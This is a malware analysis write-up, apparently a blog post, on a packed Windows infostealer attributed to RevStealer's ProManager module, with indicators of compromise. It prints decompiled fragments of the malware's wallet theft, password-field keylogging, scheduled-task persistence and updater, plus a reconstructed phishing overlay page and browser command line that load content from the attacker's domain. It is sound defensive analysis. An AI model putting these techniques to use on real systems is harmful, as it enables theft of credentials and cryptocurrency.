TL;DR

A packed Windows x64 executable that:

  • steals data from 11 desktop crypto wallets and 57 browser extensions (mostly wallets, plus the Authenticator 2FA extension),
  • captures passwords typed or pasted into password fields,
  • hides and kills a running wallet app and puts an attacker page in its place,
  • checks in every 5 minutes and runs any executable the server sends back,
  • refuses to run on machines with a CIS-region UI language.

What is it?

My findings are consistent with RevStealer, specifically its "ProManager" module. VirusTotal flags the original file (52/64) with the family labels revstealer and vmprotect:

VirusTotal detections and tags VirusTotal family labels

Elastic Security Labs describes RevStealer as a core infostealer that delivers extra modules.

Their ProManager module does wallet and extension theft, phishing overlays, password-aware input capture and payload delivery, which matches what I found, as do the module naming style -> They got ProManagerServicedc894.exe -> I got ProManagerc7e51.exe.

I found no theft of browser password databases or cookies in this module, although it does capture passwords as they are typed. It's possible that the core RevStealer handles that and dispatches the ProManager module, and that I got only the module from an infected system.

Execution overview

packed original (stage 1)
   unpacks in memory
payload, first run from an arbitrary path
   1. start-up gate: language geofence, single-instance mutex
   2. clean old installs, pick random folder, copy self, create task,
      start the copy, delete the original, exit
payload, second run (from %APPDATA%\<folder>\ProManagerc7e51.exe)
   3. start threads:
        password logger (keyboard hook + clipboard)
        wallet / extension theft: copy -> zip -> upload
        updater: every 300 s check in, run returned MZ file
        process watcher: wallet app seen -> phishing page, kill wallet

The sample deletes itself and a new process appears, ProManagerc7e51.exe, running from %APPDATA%\LogsF308:

Dropped process in System Informer

It creates a scheduled task, UpdateHost_1117, that runs every minute, then it beacons to content.brightplaza[.]lat over HTTPS exactly every 300 seconds:

TLS ClientHellos five minutes apart

Protection

The protector is probably VMProtect: VirusTotal labels it like that, and Elastic reports that most RevStealer samples use it. I did not confirm this tho.

It does these calls that are not calls but jumps, which also leave a bunch of trash functions in IDA. The first instruction at the entry point calls in this way:

Entry point: the call into the stub

The stub edits its return address, so the call is really a jump

Unpacking

Original sections are .text, .rdata, .data, .g9Z, .]kP and .1@V -> The first four are empty on disk and filled at runtime, .1@V (3 MB, entropy 7.95) holds the encrypted payload and stub.

A hardware write breakpoint on the start of .text landed in a junk-filled routine that, once cleaned up, looks like an LZMA range decoder (AI identified it from the code; I did not verify it by decompressing)

movzx   eax, byte ptr [r9]            ; next compressed byte
shl     edi, 8
shl     r8d, 8
or      edi, eax
inc     r9
...
movzx   ecx, word ptr [r15+rdx*2+180h] ; probability
mov     eax, r8d
shr     eax, 0Bh
imul    eax, ecx
cmp     edi, eax                       ; decode one bit

LZMA-like decoder loop in x64dbg

To get the unpacked payload, I dumped it from the running process with PE-sieve.

APIs and strings

APIs are resolved by hash:

h = 0x7B6B0C0B
for c in name:  h = ((h + c) * 1025) & 0xFFFFFFFF;  h ^= h >> 6

About 420 strings are stored encrypted in .data -->

each has its own decoder function that decrypts in place on first use and caches the result. All decoders share the multiplier 14485 but have per-string offsets and operation order (about six shapes: add/subtract/xor with rotates)

for ( i = 0; i < 2; ++i )
  word_14003478C[i] = (((unsigned __int16)(14485 * i - 16004) >> 5)
                     ^ ((word_14003478C[i] >> 6) | (word_14003478C[i] << 10)))
                    - (14485 * i - 16004);

I emulated all the decryptors with Unicorn. This gave me the wallet paths, browser paths, commands and message fields.

The rest of the obfuscation is control-flow flattening at start-up and a large section (.g9Z) of mutated code fragments, which I did not fully deobfuscate.

It also hides its constants by just XORing them, it uses this for flags all the time.

Execution in more detail

1. Checks where it is

v11 = GetUserDefaultUILanguage();
if ( is_blocked_language(v11) )  ExitProcess(0);
v12 = GetSystemDefaultUILanguage();
if ( is_blocked_language(v12) )  ExitProcess(0);

The language IDs are compared as hashes. Brute-forcing them gives Russian, Ukrainian, Belarusian, Tajik, Armenian, Azerbaijani, Kazakh, Kyrgyz, Turkmen and Uzbek.

The two language checks

2. Installs itself

  1. Removes any older install.
  2. Copies itself to %APPDATA%\<folder>\ProManagerc7e51.exe; the folder is picked at random from Data798E, Config0CC9, ConfigDAF5, LogsF308, LogsFB98, CacheC8B5.
  3. Creates the task (a Run key is the fallback if this fails):
    schtasks /create /tn "UpdateHost_1117" /tr "<path>" /sc minute /mo 1 /f
    
  4. Starts the copy and deletes the original (ntdll!NtSetInformationFile).

3. Steals wallets

For each wallet: copy its files to a temp folder, zip them with Windows' own Shell.Application, upload, clean up.

make_temp_dir(dir);
copy_wallet_files(paths, dir);
shell_zip_folder(dir, zip);
read_file(zip, &data, &size);
upload_or_queue(..., data, size, ...);   // queued and retried if C2 is down
DeleteFileW(zip);
remove_temp_dir(dir);

Targets include Exodus, Atomic, Ledger, Trezor Suite, Coinomi, Guarda, BitBox and Monero GUI, plus 57 extensions (MetaMask, Phantom, Keplr, Trust Wallet, Coinbase and more) across Chrome, Edge, Brave, Opera and Opera GX.

4. Captures passwords

A keyboard hook records only what goes into password fields, in any application. A field counts if Windows UI Automation marks it as a password field, or if its name or ID contains password, passwd or passphrase (sub_14002AEE0). Typed characters and Ctrl+V pastes are recorded, together with the window title, process name and browser URL. The field's ID is remembered, which looks designed to keep capturing if the victim clicks "show password" (my reading).

This covers wallet unlock passwords and website logins.

Keyboard hook reading the clipboard on Ctrl+V

5. Replaces your wallet with its own page

When a wallet app is running, the malware asks the server for a token and writes a local HTML page that wears the wallet's title and icon (reconstructed from the decrypted strings):

Because of the method of string obfuscation the code looks like this:

The page builder in pseudocode

When we actually view what the "functions" do (just decode and build strings) it looks like this:

<html><head>
<title>Ledger Live</title>
<link rel="icon" href="https://content.brightplaza[.]lat/ico/ledger">
<style>
*{margin:0;padding:0}
html,body{width:100%;height:100%;overflow:hidden;background:#121115}
iframe{width:100%;height:100%;border:none;display:block}
</style>
</head>
<body>
<iframe src="https://content.brightplaza[.]lat/l/{TOKEN}" scrolling="no" frameborder="0"></iframe>
</body>
</html>

The page is saved as %TEMP%\<token>.html. It is then opened in Chrome (or Edge) with this command line, decrypted by sub_140017C98:

"<chrome or msedge>" --app="file:///<temp>.html" --user-data-dir="%TEMP%\fhwd<number>"
  --window-position=x,y --window-size=w,h --no-first-run --no-default-browser-check
  --disable-extensions --disable-features=TranslateUI --new-window

This is the coolest part.

--app removes the address bar and tabs, so it looks like a desktop program. The window takes the real wallet's position and size when it can read them, gets the wallet's title and is brought to the front.

A throwaway profile with extensions disabled means no extension can warn the user.

The CSS only removes borders and scrollbars, fills the window with the frame and shows a near-black background while it loads. Whatever imitates the wallet is on the attacker's page.

If launching both browsers fails, it falls back to ShellExecuteW, which would open an ordinary browser window.

It then hides every window of the real app:

GetWindowThreadProcessId(hwnd, &pid);
if ( pid == wallet_pid )
    ShowWindow(hwnd, SW_HIDE);

and, while the server is reachable, kills it and its child processes:

h = OpenProcess(access, 0, pid);
if ( TerminateProcess(h, 0) )
    WaitForSingleObject(h, 1000);

The page's content is unknown, so I don't know what it asks the victim for.

6. Runs whatever the server sends

Every 300 seconds it checks in with a host ID (a hash of CPU, RAM, computer and user name) and looks at the reply.

  1. The reply is ignored unless it is at least 4 KB and starts with MZ, the signature of a Windows executable.
  2. It is saved as a temporary file (dat*.tmp).
  3. A mutex (c9bbe9cb-33d6-41c1-b61e-c89ef2fbec98) is created, which tells a newly started instance that a handover is in progress.
  4. The PE header is checked to see whether the file is an EXE or a DLL.
  5. An EXE is run directly. A DLL is run through a command line.
  6. If the launch succeeds, the running copy waits 800 ms and exits.
if ( size >= 0x1000 && *(WORD *)reply == 0x5A4D )          // "MZ"
{
    write_file(temp_file, reply, size);
    CreateMutexW(0, 0, L"c9bbe9cb-...");
    if ( is_dll(reply) )
        wsprintfW(cmd, L"%s\\%s \"%s\",%s",
                  system32, L"ProManagerc7e51.exe", temp_file, L"Run");
    if ( create_process(is_dll(reply) ? cmd : temp_file) )
    {
        Sleep(800);
        ExitProcess(0);
    }
}

So for a DLL the command is:

<System32>\ProManagerc7e51.exe "<temp file>",Run

The code checks only the size and the MZ header, and I found no signature or hash check on the file. Whoever controls the server's replies controls what runs, so this works as a self-updater and as a way to deliver other malware.

The updater: MZ check, launch, exit

7. Has a backup address book?

Among the decrypted strings are public Polygon blockchain RPC endpoints (polygon.lava.build, matic.rpc.sentio.xyz, rpc-polygon.blockmachine.io), next to two long hex blobs. Elastic describes RevStealer reading a fallback C2 address from a Polygon smart contract when the main server is down, and decrypting it with an embedded key. The strings fit that technique, I can't actually confirm 100% because this has already taken too much time and I'm happy with what I know and don't know for now :)

Indicators

  • Domain: content.brightplaza[.]lat (HTTPS)
  • Fallback lookup: polygon.lava.build, matic.rpc.sentio.xyz, rpc-polygon.blockmachine.io (public RPC services, so not malicious by themselves)
  • URL paths: /health, /l/<token>, /ico/, long lowercase .html paths
  • Beacon: every 300 s
  • User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
  • File: %APPDATA%{Data798E,Config0CC9,ConfigDAF5,LogsF308,LogsFB98,CacheC8B5}\ProManagerc7e51.exe
  • Task: UpdateHost_1117
  • Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\<folder>
  • Mutexes: 5e0158f6-d486-4503-a7b4-67ceb2f9e1d8, c9bbe9cb-33d6-41c1-b61e-c89ef2fbec98, 09826b80-9eb2-4ec3-9ebf-751b135442cd
  • Dumped payload SHA-256: 915ab4ccd32198ff0b5798ab28ff1c6762506357ffe5431fc61bd7327b4a8d2a
  • Original SHA-256: a7f577b3871dae6311853c97a9fdccc9e7817dd639fa112fda25b8e38efde73f

That is that.

References